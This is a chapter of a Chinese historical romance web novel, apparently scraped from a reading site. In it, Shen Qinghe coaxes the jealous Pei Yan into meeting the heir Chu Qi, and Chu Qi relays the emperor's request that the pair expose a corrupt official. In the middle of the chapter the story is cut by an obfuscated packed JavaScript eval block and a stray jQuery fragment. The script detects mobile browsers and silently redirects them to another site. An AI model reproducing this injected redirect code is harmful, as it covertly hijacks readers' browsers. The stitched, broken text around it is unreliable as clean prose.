这几天沈青禾一直旁敲侧击两人,想借机缓和两人之间微妙的氛围。
在她看来,裴砚不该因私情与褚齐交恶,褚齐毕竟是世子,身份贵重,人脉广阔,将来或许大有助益。
这样的关系,不能因一些小事就僵了。
起初裴砚怎么也不愿答应。
沈青禾劝了几次,他只是冷着脸:“我的身份也不需要依靠他获得资源,我不去。”
“为何不去?”沈青禾有些恼了,自己一片好意,裴砚却毫不领情,声音也不由抬高了几分:“多好的机会!我们如今同在京城,正该互相扶持。你不能因一点小事就置气呀。”
裴砚却道:“这不是小事。”
“那是什么?”
“关于你的事,都不是小事。”
沈青禾听出他话里的醋意,又好气又好笑:“你这是吃醋了?”
裴砚别过脸,半晌才闷闷“嗯”了一声:“……是。我不想你见他。”
“可现在是你要见他,又不是我要见他。”沈青禾哭笑不得:“我都没吃醋,你吃的哪门子醋?”
“那不一样。”裴砚眉头紧蹙:“我去见他,我们之间并无瓜葛;可你去见他……”他话到嘴边又顿住。
沈青禾心里明镜似的,褚齐对她有意,平日言语举止间的偏爱,明眼人一望便知,裴砚又怎会不知。
“我让你去见他,不是为了我自己。”沈青禾放缓语气:“我们在京城无官无职,你虽有名望,终究是商人身份。他是世子,说话分量比我们重得多,这道理你难道不明白?”
裴砚神色微动,似有些松动。
沈青禾趁势又道:“你若真因这个不肯去,我倒觉得没必要了。你明明知道,我对他并无那份心思。”
裴砚抬眼看向她,眸色深深,欲言又止。
沈青禾故意逗他:“不过嘛……我也不喜欢你。”
裴砚脸色一僵。
“我最喜欢的人呀,除了爹娘,就是佳妍、荣荣姐姐她们,再然后是秋秋和石赞”她掰着手指,说得一本正经:“哦对了,还有个阿延。”
裴砚被她这话弄得哭笑不得,最终叹了口气,没再反驳。
“你到底去不去?”沈青禾把话题拉回来:“而且我都约好了,他一口就答应了。你若不去,岂不是让我失信于人?我还得单独去赔不是呢。”
裴砚咬了咬牙,终究点头:“……我去。”
于是两人一同乘车前往约好的茶楼。
午后的阳光暖融融地洒在身上,街上不知何时已聚起长长的人龙,喧闹非常。
沈青禾这几日忙于绣活,未曾留意外界动静,见状不由好奇地掀帘张望。
“外头怎么这般热闹?”她回头问裴砚。
“边关大捷,一位年少有为的将军今日凯旋。陛下特准他骑马游街,以示荣宠。”裴砚语气平静。
沈青禾点点头,在人群中寻觅,却未见到将军身影。
正要放下帘子时,喧声骤响。只见远处一匹高头大马缓缓行来,马上一人身姿挺拔,面容俊朗,气度英武,想来便是那位将军了。
沈青禾不禁轻声赞叹:“这将军模样真好,身姿也……”
话未说完,裴砚已伸手将帘子扯落。
“你做什么?我还没看够呢。”沈青禾不解。
“这般直盯着看,怕是不太尊重。”裴砚别开视线。
“怎么会?底下那么多百姓都看得,偏我看不得?”沈青禾失笑:“你也太小心眼了。”
裴砚不语,只伸手将她揽近了些:“外头太吵,我有些头疼。”
见他竟装起病来,沈青禾凑近他耳边,低笑道:“又吃醋了?”
裴砚耳根倏地红了,一把将她按回座位,强作镇定:“……没有。”
沈青禾也不拆穿,故意又去掀帘:“外头当真热闹,你真不看了?”
裴砚面无表情,通红的耳尖却出卖了他:“不看。”
“那我自己好好欣赏。”沈青禾索性趴到窗边,看得津津有味。
裴砚的手握了又松,最终轻轻搭上她的肩:“……关上罢。”
“为什么呀?”沈青禾装傻。
“你知道的。”裴砚闷声道。
“我知道什么?我什么都不知道。”沈青禾依旧一脸无辜。
裴砚忍了又忍,忽然一把将沈青禾拉到自己身旁,迅速与她调换了座位,用自己的身子严严实实挡住了车窗。
沈青禾被他这一连串动作惊得怔住。
“这边……风景更好。”裴砚硬邦邦地说,还很贴心的将沈青禾身后的窗帘拉开。
沈青禾看了看自己这边,除了墙壁什么也没有。她瞪了裴砚一眼,懒得同他争,索性扭头看起另一侧的街景来。
两人便这般别别扭扭地到了茶楼。
车刚停稳,裴砚便低声道:“到了。”
沈青禾仍保持着看窗外的姿势,不想理他。
裴砚轻轻拍了拍她,她依旧不动。
片刻,身后传来一声极低的:“……我错了。”
沈青禾诧异地回头:“你说什么?”
“我不该那般拦着你。”裴砚垂下眼。
“看什么是我的自由,你又不是我的什么人,凭什么管我?”沈青禾得理不饶人。
裴砚眼底掠过一丝黯然:“是,是我不对。你如何说我都没怨言。”
沈青禾不再多言,掀帘下车,留给他一个干脆的背影。
裴砚无奈地笑了笑,跟了上去。
一下车,便见沈青禾已笑盈盈地同褚齐说起话来。裴砚看着她对旁人展露的笑颜,心头又泛上几分郁结。
褚齐见二人到来,挑眉笑道:“今日怎么想起约我?”
“想着许久未聚,便出来坐坐。”沈青禾寻了个借口,虽然这借口实在站不住脚,毕竟前几日才见过。
褚齐似笑非笑:“是吗?”
沈青禾只好坦白:“其实……是明日铺子开张,想请你这位世子赏脸,一同剪彩。”
“自然可以。”褚齐爽快应下:“你开口,我岂会不答应?”
裴砚默默站在沈青禾的身后,看着相谈甚欢的两人,目光幽沉。
沈青禾这才想起他来,回头看到这样的裴砚,忙对褚齐道:“光顾着说话了,我们快进去吧,站在门口总不像样。”
“对,我点了你在江南最爱吃的点心,没想到京城也有。”褚齐边说边引路。
两人说说笑笑往里走,慢慢的将裴砚落在了后头。
裴砚沉着脸,一言不发地跟上。
这顿饭,裴砚吃得异常安静。他不再与褚齐针锋相对,只时不时为沈青禾夹菜,动作自然却隐隐带着宣示的意味。
沈青禾虽照单全收,却也不多回应。
褚齐将一切看在眼里,只作未见。
饭至尾声,褚齐忽然正色道:“有件事,前两日陛下召见我时提过,与你们二人有关。本想另寻时机告知,既今日见了,便一并说了罢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008664|184825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈青禾立刻正色,认真听他说:“请讲。”
“陛下已知江南之事牵连颇广。”褚齐压低声音:“他手中已有线索,却不宜亲自彻查。此人……需由你们揪出。”
沈青禾心下了然,不过是所谓的皇室颜面、朝堂平衡,陛下这是要借他们这双“民间之手”,拔除藏在暗处的蛀虫。
“陛下可知此人是谁?”沈青禾试探道。
褚齐摇头:“陛下未明言,或许这也是对你们二人的考验。若办得好,或许另有嘉赏。”
裴砚此时开口,目光坚定:“我已有眉目。请陛下放心,不日便会有结果。”
“陛下要的,不是江湖手段。”褚齐看向裴砚,语气郑重:“而是一份能公示于天下、经得起百官质询的铁案。”
此言一出,席间静了片刻。
陛下这是将难题与信任一并交给了他们,身为平民,他们无从推拒。
良久,裴砚与沈青禾对视一眼,缓缓点头。
褚齐神色稍缓,温声对沈青禾道:“你放心,陛下知我与你们交好,并未禁止我相助。若有需要,尽管开口。吏部官员众多,牵扯甚广,我虽不知具体涉及何人,但必尽力相帮。”
“多谢。”沈青禾由衷道。
“不必言谢。”褚齐笑了笑:“帮你本就是我愿意做的事。”
饭毕分别时,裴砚竟主动向褚齐行了一礼。
褚齐伸手扶住:“不必如此。在江南时,我便视你为友。我性子直,认定的人,便愿真心相待。”
话说得直白,沈青禾却知他字字诚恳。
裴砚抬眼与他对视,片刻后,郑重道:“我亦如此。”
褚齐一愣,随即大笑,拍了拍他的肩:“好!那便明日见。”
目送褚齐离去后,沈青禾与裴砚登上马车。
“今日你怎么这般配合?”沈青禾故意问道。
“因为你让我同他交好。”裴砚顿了顿:“我虽然不需要借世子之势,但……你说得对,他确是值得相交之人。”
沈青禾刚想认同的点点头,却听见裴砚又低声道:“我只是不愿旁人牵扯太深。”
“此事了结后,便不会再牵连任何人了。”沈青禾劝道:“况且他是世子,身份稳固,纵有风波也难动摇根本。可我们呢?陛下今日宠信,明日或许便弃了。多个朋友,终究多条路。”
裴砚沉默片刻,终于点头。
“我让你同他好,也不全是利用。”沈青禾轻声道:“他是真待我们好,先前在江南他那般助我们,我们如今回了京城,却与他生分起来,岂不是背信弃义。”
裴砚忽然极轻地说了句:“可你明明知他……心悦于你。”
虽然后面几个字裴砚说的极轻,但沈青禾也真真切切的听到了,不过她却装作未曾听闻:“你说什么?”
“……没什么。”
“你放心,我与他清清白白,只是朋友。”沈青禾抬眼看他:“倒是你我之间,岂不更引人猜疑?”
裴砚一怔,别过脸去,只是嘴硬道:“我们……亦是朋友。”
“哦?那既是朋友,明日我铺子开张,你可要来剪彩?”沈青禾只好顺势开口。
“自然。”裴砚答得很快:“我也是东家之一,怎能不去?”
对哦,这对外宣称的就是二人合作,那他自然是要去的。
“倒是我忘了。”
两人相视一笑,车窗外暮色渐沉,长街灯火次第亮起,宛若星河初落。